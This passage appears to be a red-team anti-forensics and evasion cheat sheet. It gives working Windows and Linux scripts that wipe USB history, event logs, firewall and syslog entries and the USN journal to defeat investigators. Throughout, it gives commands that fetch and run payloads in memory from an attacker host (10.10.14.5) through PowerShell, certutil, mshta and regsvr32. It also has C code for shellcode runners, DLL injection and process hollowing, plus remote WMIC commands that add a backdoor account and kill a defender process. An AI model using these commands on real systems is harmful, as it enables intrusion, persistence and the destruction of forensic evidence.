Browser forensics tools to be aware of: Hindsight (Chrome), KAPE, BrowsingHistoryView (NirSoft), DB Browser for SQLite (manual analysis), Dumpzilla (Firefox). These tools can recover data even from SQLite WAL (Write-Ahead Log) files, so deleting the main database is not enough - also delete History-journal, Cookies-journal, and any WAL/SHM files.

#USB & Peripheral History

#Windows USB Artifacts

Windows logs every USB device ever connected - serial numbers, vendor IDs, first/last connect times, drive letters, user who mounted it. This data persists across reboots in registry, setupapi logs, and event logs. Clearing it requires touching multiple locations.

Registry keys to clean:

# All USB device history
reg delete "HKLM\SYSTEM\CurrentControlSet\Enum\USB" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Enum\SCSI" /f

# USB storage device history
reg delete "HKLM\SYSTEM\CurrentControlSet\Enum\STORAGE" /f

# Mounted devices (drive letter assignments)
reg delete "HKLM\SYSTEM\MountedDevices" /f

# Device setup classes
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceClasses\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceClasses\{a5dcbf10-6530-11d2-901f-00c04fb951ed}" /f

# User-specific mount points
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2" /f

# Portable devices
reg delete "HKLM\SOFTWARE\Microsoft\Windows Portable Devices\Devices" /f

# EMDMgmt (ReadyBoost / device performance data)
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EMDMgmt" /f

Setupapi logs (device installation history):

# These log every device driver installation with timestamps
Remove-Item "C:\Windows\INF\setupapi.dev.log" -Force
Remove-Item "C:\Windows\INF\setupapi.dev.*.log" -Force

# Older Windows versions
Remove-Item "C:\Windows\setupapi.log" -Force

Event logs (USB-related):

# Clear specific USB event logs
wevtutil cl Microsoft-Windows-DriverFrameworks-UserMode/Operational
wevtutil cl Microsoft-Windows-Kernel-PnP/Configuration
wevtutil cl Microsoft-Windows-Partition/Diagnostic

# Or selective removal of USB events
# Event ID 2003, 2004, 2005, 2010 (DriverFrameworks)
# Event ID 400, 410 (Kernel-PnP - device connected/configured)
# Event ID 1006 (Partition - volume mounted)

Other artifacts:

# Windows.old USB data (after upgrades)
Remove-Item "C:\Windows.old\Windows\INF\setupapi*" -Force -ErrorAction SilentlyContinue

# Shortcut (LNK) files pointing to USB paths
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Recent\*.lnk" |
  Where-Object { (New-Object -ComObject WScript.Shell).CreateShortcut($_.FullName).TargetPath -match '[D-Z]:\\' } |
  Remove-Item -Force

# Jump Lists referencing USB drives
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\AutomaticDestinations\*" -Force
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\CustomDestinations\*" -Force

#Windows Complete USB Wipe Script

# Full USB/peripheral history wipe (admin required)
# WARNING: destructive, no undo

$keys = @(
    "HKLM:\SYSTEM\CurrentControlSet\Enum\USB",
    "HKLM:\SYSTEM\CurrentControlSet\Enum\USBSTOR",
    "HKLM:\SYSTEM\CurrentControlSet\Enum\SCSI",
    "HKLM:\SYSTEM\CurrentControlSet\Enum\STORAGE",
    "HKLM:\SYSTEM\MountedDevices",
    "HKLM:\SOFTWARE\Microsoft\Windows Portable Devices\Devices",
    "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EMDMgmt",
    "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2"
)

foreach ($k in $keys) {
    if (Test-Path $k) {
        Remove-Item $k -Recurse -Force -ErrorAction SilentlyContinue
        Write-Host "[+] Deleted: $k"
    }
}

# Setupapi logs
Remove-Item "C:\Windows\INF\setupapi.dev*.log" -Force -ErrorAction SilentlyContinue

# USB event logs
@(
    "Microsoft-Windows-DriverFrameworks-UserMode/Operational",
    "Microsoft-Windows-Kernel-PnP/Configuration",
    "Microsoft-Windows-Partition/Diagnostic"
) | ForEach-Object { wevtutil cl $_ 2>$null }

# Recent/Jump Lists
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\AutomaticDestinations\*" -Force -EA 0
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\CustomDestinations\*" -Force -EA 0

Write-Host "[+] USB history wiped. Reboot recommended."

#Linux USB Artifacts

Linux logs USB connections via kernel messages, udev rules, and syslog. The traces are spread across dmesg, journal, and udev database.

Log locations:

# Kernel messages (USB connect/disconnect)
dmesg | grep -i "usb\|mass storage\|scsi"
journalctl -k | grep -i "usb\|mass storage"

# Syslog entries
grep -i "usb\|removable\|sd[b-z]" /var/log/syslog /var/log/messages 2>/dev/null

# udev hardware database (persistent device records)
ls /etc/udev/hwdb.d/
cat /run/udev/data/b8:*    # block devices

# udev rules log
journalctl -u systemd-udevd

# Mount history (fstab, mtab)
cat /etc/mtab
cat /proc/mounts

# GNOME/KDE recent files referencing USB mounts
cat ~/.local/share/recently-used.xbel | grep "/media\|/mnt\|/run/media"

Cleanup:

# Clear USB kernel messages from journal
journalctl --rotate
journalctl --vacuum-time=1s

# Clear dmesg ring buffer
dmesg -C

# Remove syslog USB entries
sed -i '/[Uu][Ss][Bb]\|mass.storage\|[Ss][Dd][b-z]/d' /var/log/syslog
sed -i '/[Uu][Ss][Bb]\|mass.storage\|[Ss][Dd][b-z]/d' /var/log/messages

# Clear udev persistent data
rm -rf /run/udev/data/b8:*
udevadm control --reload-rules

# Remove GVFS mount records (GNOME)
rm -rf ~/.local/share/gvfs-metadata/
rm -rf /run/user/$(id -u)/gvfs/

# Remove Trash from USB mounts
rm -rf /media/$USER/*/.Trash-*

# Clear recently-used (desktop environments)
echo '<?xml version="1.0" encoding="UTF-8"?>
<xbel version="1.0"></xbel>' > ~/.local/share/recently-used.xbel

# Wipe locate database
rm -f /var/lib/mlocate/mlocate.db
rm -f /var/lib/plocate/plocate.db

#Linux Complete USB Wipe Script

#!/bin/sh
# Linux USB/peripheral history wipe (root required)

echo "[*] Clearing USB kernel messages..."
dmesg -C

echo "[*] Rotating and vacuuming journal..."
journalctl --rotate 2>/dev/null
journalctl --vacuum-time=1s 2>/dev/null

echo "[*] Cleaning syslog USB entries..."
for log in /var/log/syslog /var/log/messages /var/log/kern.log; do
    [ -f "$log" ] && sed -i '/[Uu][Ss][Bb]\|mass.storage\|[Ss][Dd][b-z]\|removable/d' "$log"
    # Also clean rotated logs
    for gz in ${log}.*.gz; do
        [ -f "$gz" ] && zcat "$gz" | grep -v -i 'usb\|mass.storage\|sd[b-z]' | gzip > "${gz}.tmp" && mv "${gz}.tmp" "$gz"
    done
done

echo "[*] Clearing udev data..."
rm -rf /run/udev/data/b8:* 2>/dev/null
udevadm control --reload-rules 2>/dev/null

echo "[*] Cleaning user artifacts..."
for home in /home/* /root; do
    rm -rf "$home/.local/share/gvfs-metadata/" 2>/dev/null
    # Reset recently-used
    [ -f "$home/.local/share/recently-used.xbel" ] && \
        echo '<?xml version="1.0" encoding="UTF-8"?><xbel version="1.0"></xbel>' > "$home/.local/share/recently-used.xbel"
done

echo "[*] Removing Trash from mount points..."
find /media /mnt /run/media -name ".Trash-*" -exec rm -rf {} + 2>/dev/null

echo "[*] Wiping locate database..."
rm -f /var/lib/mlocate/mlocate.db /var/lib/plocate/plocate.db

echo "[+] USB history wiped."

#Forensic Tools Awareness

These are the tools forensic analysts use to recover USB history. Knowing what they look for helps you clean more thoroughly.

Tool Platform What it extracts
USBDeview (NirSoft) Windows Full USB device history from registry
USB Forensic Tracker Windows USBSTOR, MountedDevices, setupapi, event logs
KAPE + USB targets Windows Automated USB artifact collection
RegRipper (usbstor) Windows Parse USBSTOR registry hive
Autopsy USB module Both USB artifacts from disk images
usbrip Linux Parse syslog/journal for USB events
Volatility (devicetree) Both USB devices from memory dumps

#Fileless Techniques

#Memory-Only Execution

The core principle: if a payload never touches disk, file-based forensics (hashing, AV scanning, timeline analysis) cannot detect it. Memory-only execution loads code directly into RAM from a remote source or an embedded byte array. The trade-off is persistence - memory payloads are lost on reboot unless combined with a persistence mechanism.

PowerShell download cradles:

# Net.WebClient - download and execute in memory
IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.5/Invoke-Payload.ps1")

# Invoke-WebRequest (PowerShell 3+)
IEX (Invoke-WebRequest -Uri "http://10.10.14.5/payload.ps1" -UseBasicParsing).Content

# WebClient with custom headers (bypass WAF/proxy inspection)
$wc = New-Object Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0")
$wc.Headers.Add("Cookie", "auth=legitimate")
IEX $wc.DownloadString("http://10.10.14.5/payload.ps1")

# System.Net.Http.HttpClient (.NET 4.5+)
$client = [System.Net.Http.HttpClient]::new()
$code = $client.GetStringAsync("http://10.10.14.5/payload.ps1").Result
IEX $code

# Base64 encoded inline execution (no network)
powershell -EncodedCommand <base64_payload>

.NET Assembly.Load from byte array:

# Download a .NET assembly and load it entirely in memory
$bytes = (New-Object Net.WebClient).DownloadData("http://10.10.14.5/SharpTool.exe")
$assembly = [System.Reflection.Assembly]::Load($bytes)

# Execute the entry point
$assembly.EntryPoint.Invoke($null, @(,[string[]]@("arg1","arg2")))

# Or invoke a specific method
$type = $assembly.GetType("Namespace.ClassName")
$method = $type.GetMethod("MethodName")
$method.Invoke($null, @("arg1"))

Reflective DLL injection:

// Inject a DLL from memory into a remote process without LoadLibrary
// Steps:
// 1. Allocate memory in target process
// 2. Write DLL bytes to allocated region
// 3. Write a reflective loader stub
// 4. Create remote thread pointing to the loader

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, dllSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteMem, dllBytes, dllSize, NULL);
// The reflective loader in the DLL header handles PE parsing, import resolution, relocations
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
    (LPTHREAD_START_ROUTINE)((BYTE*)remoteMem + loaderOffset), remoteMem, 0, NULL);

Shellcode runner (no file on disk):

// Allocate, copy, execute shellcode - entirely in memory
#include <windows.h>

unsigned char shellcode[] = "\xfc\x48\x83...";  // Your shellcode

int main() {
    LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_READWRITE);
    memcpy(mem, shellcode, sizeof(shellcode));

    DWORD oldProtect;
    VirtualProtect(mem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect);

    HANDLE hThread = CreateThread(NULL, 0,
                                  (LPTHREAD_START_ROUTINE)mem,
                                  NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

Process hollowing with in-memory PE:

// Create a suspended legitimate process, unmap its image,
// map your PE in its place, fix entry point, resume

// 1. Create suspended process
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL,
               NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 2. Get the PEB to find image base
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

// 3. Read the image base from PEB
ReadProcessMemory(pi.hProcess, (BYTE*)pbi.PebBaseAddress + 0x10, &imageBase, 8, NULL);

// 4. Unmap the original image
NtUnmapViewOfSection(pi.hProcess, imageBase);

// 5. Allocate new memory at the same base and write your PE
VirtualAllocEx(pi.hProcess, imageBase, peSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, imageBase, peBuffer, peSize, NULL);

// 6. Set the thread context entry point to your PE's entry point
ctx.Rcx = (DWORD64)imageBase + peEntryPointRVA;
SetThreadContext(pi.hThread, &ctx);

// 7. Resume
ResumeThread(pi.hThread);

#Living Off the Land

Living Off the Land means using built-in, signed Windows binaries (LOLBins) to execute code, download files, or perform lateral movement - avoiding the need to drop custom tools to disk. Because these binaries are Microsoft-signed and present on every Windows install, they bypass application whitelisting and blend into normal system activity.

Common LOLBins:

:: certutil - download files
certutil -urlcache -split -f http://10.10.14.5/payload.exe C:\Users\Public\payload.exe
:: Base64 decode
certutil -decode encoded.txt payload.exe

:: mshta - execute HTA (HTML Application) from URL
mshta http://10.10.14.5/payload.hta
:: Inline VBScript execution
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""cmd /c calc"":close")

:: regsvr32 - execute scriptlet from URL (AppLocker bypass - Squiblydoo)
regsvr32 /s /n /u /i:http://10.10.14.5/payload.sct scrobj.dll

:: rundll32 - execute DLL exports or JavaScript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell").Run("calc")

:: wmic - process creation (lateral movement friendly)
wmic process call create "cmd /c whoami > C:\Users\Public\out.txt"
:: Remote execution
wmic /node:192.168.1.10 /user:admin /password:pass process call create "cmd /c payload.exe"

:: msbuild - compile and execute inline C# from XML project file
msbuild.exe C:\Users\Public\build.xml

:: installutil - execute .NET assembly via uninstall method (bypass AppLocker)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U payload.exe

:: cmstp - execute INF-based scriptlet (UAC bypass + AppLocker bypass)
cmstp.exe /ni /s C:\Users\Public\payload.inf

PowerShell Constrained Language Mode bypass:

# Check current language mode
$ExecutionContext.SessionState.LanguageMode

# Bypass via MSBuild - write a .csproj that executes your C# code
# Bypass via InstallUtil - wrap payload in a .NET assembly with [RunInstaller]
# Bypass via PowerShell v2 (if available - no AMSI, no CLM)
powershell -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/p.ps1')"

# Bypass via runspace in custom .NET host - CLM applies to powershell.exe,
# not to the .NET System.Management.Automation API

WMIC for remote execution:

:: Create process on remote host
wmic /node:192.168.1.10 /user:DOMAIN\admin /password:P@ss process call create "cmd.exe /c net user backdoor P@ss123 /add"

:: Query running processes
wmic /node:192.168.1.10 process list brief

:: Kill a process
wmic /node:192.168.1.10 process where name="defender.exe" call terminate

Reference: Full LOLBins catalog with examples - LOLBAS

#Network Forensics Evasion

#Connection Artifacts

Network forensic artifacts include DNS cache, ARP tables, active connections, firewall logs, and routing tables. These reveal what hosts were contacted, when, and over which protocols. Investigators also pull PCAP captures from network taps, IDS/IPS logs, and proxy logs - but those are outside your control on the endpoint.

DNS cache clearing:

# Linux - systemd-resolved
resolvectl flush-caches
# Or older systems
systemd-resolve --flush-caches

# Verify cache is empty
resolvectl statistics | grep "Current Cache Size"

# dnsmasq (if used as local resolver)
killall -HUP dnsmasq
# Windows
ipconfig /flushdns
# Verify
ipconfig /displaydns
# Should show: "Could not display the DNS Resolver Cache."

# Clear DNS client event log
wevtutil cl "Microsoft-Windows-DNS-Client/Operational"

ARP table clearing:

# Linux - flush ARP cache
ip neigh flush all

# Verify
ip neigh show
# Windows
arp -d *
# Or
netsh interface ip delete arpcache

Connection tracking cleanup:

# Linux - clear netfilter conntrack table
conntrack -F
# Or
echo 1 > /proc/sys/net/netfilter/nf_conntrack_count 2>/dev/null
conntrack -F 2>/dev/null

# Clear specific entries (e.g., connections to your C2)
conntrack -D -d 10.10.14.5

# Check for lingering TIME_WAIT sockets
ss -tn state time-wait | grep "10.10.14.5"
# Windows - no direct conntrack equivalent, but clear DNS and NetBIOS caches
nbtstat -R            # Purge NetBIOS name cache
nbtstat -RR           # Release and refresh NetBIOS names
ipconfig /flushdns    # Flush DNS

#Firewall & Network Logs

# Linux - clear iptables/nftables log chains
# If logging to syslog, clean syslog entries
sed -i '/10\.10\.14\.5/d' /var/log/syslog
sed -i '/10\.10\.14\.5/d' /var/log/messages

# Clear UFW logs
sed -i '/10\.10\.14\.5/d' /var/log/ufw.log

# Clear nftables counter values
nft reset counters

# Flush and recreate rules (removes any logging rules you added)
iptables -F
iptables -X
# Windows Firewall log
Remove-Item "C:\Windows\System32\LogFiles\Firewall\pfirewall.log" -Force

# Clear Windows Filtering Platform logs
wevtutil cl "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"

# Clear Network Profile log
wevtutil cl "Microsoft-Windows-NetworkProfile/Operational"

# Clear WLAN event log
wevtutil cl "Microsoft-Windows-WLAN-AutoConfig/Operational"

Proxy and remote access artifacts:

# WinHTTP proxy settings
netsh winhttp reset proxy

# Clear WinINET cache (IE/Edge legacy)
RunDll32.exe InetCpl.cpl, ClearMyTracksByProcess 255

# Clear RDP connection history
reg delete "HKCU\Software\Microsoft\Terminal Server Client\Default" /f
reg delete "HKCU\Software\Microsoft\Terminal Server Client\Servers" /f
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\*.rdp" -Force
# Linux - clear SSH known_hosts entries for target hosts
sed -i '/192\.168\.1\.10/d' ~/.ssh/known_hosts
# Clear SOCKS/proxy environment variables
unset http_proxy https_proxy ALL_PROXY

#File System Anti-Forensics

#NTFS Alternate Data Streams

NTFS supports Alternate Data Streams (ADS) - additional named data streams attached to any file or directory. The default (unnamed) stream is what users see; ADS content is invisible to dir and Explorer by default. Forensic tools (Autopsy, FTK, KAPE) scan for ADS, so this is not a long-term hiding mechanism but useful for short-term staging.

:: Create an ADS (hide data inside a legitimate file)
echo "payload data" > C:\Windows\Temp\legit.txt:hidden.txt

:: Or embed a binary
type payload.exe > C:\Windows\Temp\legit.txt:payload.exe

:: Read the ADS
more < C:\Windows\Temp\legit.txt:hidden.txt

:: Execute from ADS (some methods - depends on binary type)
wmic process call create "C:\Windows\Temp\legit.txt:payload.exe"
:: Note: direct execution from ADS is blocked in modern Windows for .exe

:: List all ADS on a file
dir /r C:\Windows\Temp\legit.txt

:: PowerShell - enumerate ADS
Get-Item C:\Windows\Temp\legit.txt -Stream *

:: Remove a specific ADS
Remove-Item C:\Windows\Temp\legit.txt -Stream hidden.txt

Detection awareness: Forensic analysts use streams.exe (Sysinternals) or dir /r to find ADS. The $DATA attribute in the MFT records each stream. KAPE targets specifically collect ADS.

#Encrypted Containers

Encrypted containers provide plausible deniability and prevent forensic access to their contents without the key. VeraCrypt is the standard tool - it supports hidden volumes (a volume inside a volume with a different password, providing deniability).

# VeraCrypt - create an encrypted container (CLI)
veracrypt --text --create /tmp/container.vc \
    --size=100M --encryption=AES-Twofish-Serpent \
    --hash=SHA-512 --filesystem=ext4 \
    --password="strongpassphrase" --pim=0 --keyfiles=""

# Mount
veracrypt --text /tmp/container.vc /mnt/secret \
    --password="strongpassphrase" --pim=0 --keyfiles=""

# Work inside the container
cp sensitive_files /mnt/secret/

# Dismount (secure)
veracrypt --text --dismount /mnt/secret

# Wipe the container when done (HDD)
shred -vfz -n 3 /tmp/container.vc
# VeraCrypt Windows CLI
& "C:\Program Files\VeraCrypt\VeraCrypt.exe" /q /v "\?\Volume{GUID}" `
    /l Z /p "strongpassphrase" /m ro

# Dismount all volumes
& "C:\Program Files\VeraCrypt\VeraCrypt.exe" /q /d

Hidden volumes: VeraCrypt hidden volumes are indistinguishable from random data in the outer volume's free space. The outer volume has a decoy password with innocuous files; the hidden volume has its own password with actual sensitive data. Without the hidden password, its existence cannot be proven.

#Slack Space & File System Artifacts

Slack space: The gap between the end of a file's data and the end of its allocated cluster. On NTFS (4 KB clusters), a 1 KB file leaves 3 KB of slack that may contain remnants of previously deleted files. Tools like bmap (Linux) and slacker (Metasploit) can hide data in slack space.

# bmap - hide data in slack space (Linux, ext2/3/4)
echo "hidden message" | bmap --mode putslack /tmp/innocent.txt

# Retrieve hidden data
bmap --mode slack /tmp/innocent.txt

# Check slack space size
bmap --mode checkslack /tmp/innocent.txt

File system tunneling: NTFS (and some Linux FS) reuse metadata from recently deleted files when a new file with the same name is created within a short window (default 15 seconds on NTFS). This means a replaced file can inherit the original's creation timestamp, masking the replacement.

$UsnJrnl and $LogFile: Even if you delete or timestomp a file, the NTFS $UsnJrnl (Update Sequence Number Journal) and $LogFile (transaction log) record the operations. Forensic tools like MFTECmd parse these. To clean:

:: $UsnJrnl - delete the journal (requires admin, recreated on reboot)
fsutil usn deletejournal /d C:

:: $UsnJrnl - re-enable after clearing (to avoid suspicion)
fsutil usn createjournal C:

#Steganography

Hiding data inside image, audio, or video files. Useful for data exfiltration where file transfers are monitored.

# steghide - embed data in JPEG/BMP/WAV/AU
steghide embed -cf cover.jpg -ef secret.txt -p "passphrase"
steghide extract -sf cover.jpg -p "passphrase"

# zsteg - detect steganography in PNG/BMP
zsteg image.png

# stegseek - fast steghide password cracker (forensic awareness)
stegseek cover.jpg wordlist.txt

#Tool Reference

#Anti-Forensics Tool Summary

Tool Platform Purpose Note
shred Linux Overwrite and delete files HDD only, unreliable on SSD and journaling FS
wipe Linux Secure file/directory deletion Similar to shred, supports recursive
srm Linux Secure remove (secure-delete package) Multiple overwrite patterns
sfill Linux Wipe free disk space Fills partition then removes temp file
nwipe Linux Full disk wipe (DBAN successor) Interactive ncurses, multiple methods
sdelete Windows Secure file deletion and free space wipe Sysinternals, DOD-compliant passes
cipher Windows Free space wipe (built-in) 3-pass: 0x00, 0xFF, random
BleachBit Both System cleanup (logs, cache, temp, history) GUI and CLI, extensible with custom cleaners
Eraser Windows Scheduled secure deletion Supports multiple overwrite methods
hidemylogs Linux Automated log clearing for red team ops
VeraCrypt Both Encrypted containers and hidden volumes Plausible deniability with hidden volumes
hdparm Linux ATA Secure Erase for SATA SSDs Requires setting temporary password first
nvme-cli Linux NVMe Format and Sanitize commands ses=2 for cryptographic erase
blkdiscard Linux TRIM/secure discard entire device Vendor-dependent reliability
timestomp Windows Modify file timestamps (Metasploit) Only modifies $STANDARD_INFORMATION, not $FILE_NAME
Invoke-Phant0m Windows Suspend EventLog service threads Selective event log blinding
USBDeview Windows View and clean USB device history NirSoft, useful for both offense and forensics

#Also See

#Cyber Aurelien Guidi